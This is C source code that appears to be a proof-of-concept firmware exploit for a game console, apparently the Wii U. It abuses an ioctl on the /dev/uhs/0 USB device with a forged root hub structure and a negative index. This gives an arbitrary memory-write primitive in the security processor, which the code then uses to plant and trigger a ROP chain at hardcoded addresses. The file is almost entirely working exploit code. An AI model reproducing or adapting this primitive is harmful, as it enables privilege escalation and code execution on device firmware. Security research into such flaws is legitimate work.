#include "loader.h"
void _start()
{
/* Load a good stack */
asm(
"lis %r1, 0x1ab5 ;"
"ori %r1, %r1, 0xd138 ;"
);
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
void(*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
void(*OSSleepTicks)(long long x);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
int(*IOS_Open)(char *path, unsigned int mode);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
int(*IOS_Close)(int fd);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
int du0h = IOS_Open("/dev/uhs/0", 0);
//int ret = write32(du0h, 0x1016BE50 - 0xF0, 0x1012EE5C); // reset syscall
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
int ret;
ret = write32(du0h, CHAIN_START + 0x4, SIMPLE_RETURN);
ret = write32(du0h, CHAIN_START + 0x8, SHUTDOWN);
// the following line will trigger the ROP chain
ret = write32(du0h, CHAIN_START, SIMPLE_RETURN);
IOS_Close(du0h);
_Exit();
while (1);
}
int write32(int dev_uhs_0_handle, int arm_addr, int val) {
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
int(*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,
unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len);
void(*DCFlushRange)(void *addr, unsigned int len);
void(*DCInvalidateRange)(void *addr, unsigned int len);
void(*OSSleepTicks)(long long x);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
int* pretend_root_hub = (int*)0xF5003ABC;
int *ayylmao = (int*)0xF4500000;
ayylmao[8] = (int)ayylmao - 0xF4000000;
ayylmao[5] = 1;
ayylmao[520] = arm_addr - 24; // the address to be overwritten, minus 24 bytes.
pretend_root_hub[33] = (int)ayylmao - 0xF4000000;
pretend_root_hub[78] = 0;
DCFlushRange(pretend_root_hub + 33, 200);
DCInvalidateRange(pretend_root_hub + 33, 200);
DCFlushRange(ayylmao, 521 * 4);
DCInvalidateRange(ayylmao, 521 * 4);
OSSleepTicks(0x200000);
int root_hub_index = -(0xBEA2C); // gets IOS_USB to read from the middle of MEM1
int request_buffer[] = { root_hub_index, val };
int output_buffer[32];
int ret = IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
return ret;
}